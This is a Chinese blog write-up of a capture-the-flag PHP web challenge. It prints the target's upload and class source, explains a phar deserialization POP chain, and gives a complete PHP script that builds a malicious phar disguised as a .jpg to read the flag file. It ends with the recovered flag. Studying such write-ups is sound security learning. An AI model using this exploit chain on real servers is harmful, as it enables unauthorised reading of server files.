打开网站,有上传文件,查看文件这两个功能。

前言

第一反应是上传shell连接,被前端拦截了,然后试了下关闭前端上传,发现传不上去,那只能另寻方法了。

正常步骤

在”查看文件”这个界面下的url十分可疑,用它来看看index.php

接着跟进看base.php

提示了flag在f1ag.php里面,我们可以直接访问f1ag.php,说明f1ag.php在/var/www/html目录下。

到现在还剩file.php没有看,我们继续访问

分析一下代码,先包含了function.php和class.php两个文件,然后接收file参数,假如不为空就创建Show实例;判断file是否存在,存在则调用_show()函数。目前可以猜测Show类在class.php里面。那就把function.php和class.php全访问一遍。

function.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

就是文件上传,并用了白名单,那我们确实没有文件上传shell的方法了。

class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

确实有Show类,看看_show()函数,发现用正则过滤了一些能利用的协议和f1ag.php。但是他没有过滤phar://伪协议,再结合class.php的其他类以及文件上传的功能,我们可以断定他是考phar反序列化的。不会的可以看http://47.113.177.51/2023/11/18/phar反序列化/

那么开始写pop链。入口为C1e4r->_destruct(),__destruct函数中的echo $this->test可以触发__toString函数,那么跟进到Show->__toString,函数内部的$content = $this->str['str']->source;可以触发__get函数,那么继续跟进Test->__get(),这里要注意一下,__get函数接收的参数是代码试图访问的参数名称,在这里就是”source”,后面就是直接一个一个函数下去触发file_get了。整理一下链子:

"C1e4r->_destruct()"->"Show->__toString"->"Test->__get()"->"Test->get()"->"Test->file_get()"

最后封装到phar文件里就行了,下面放出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
class C1e4r
{
public $test;
public $str;
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Test
{
public $file;
public $params=array("source"=>"/var/www/html/f1ag.php");
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
$test=new Test();
$show=new Show();
$show->str=array("str"=>$test);
$cle4r=new C1e4r();
$cle4r->str=$show;
$phar = new Phar('a.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($cle4r);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

运行后生成a.phar,直接改名成a.jpg后上传。在上方的function.php写道文件会上传到/upload/里面,直接访问

发现最新文件名,后在查看文件中用phar伪协议访问文件。

字符串解码后拿到flag:flag{d6d8d78f-bb0f-452b-b000-c0fdc92ab889}

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝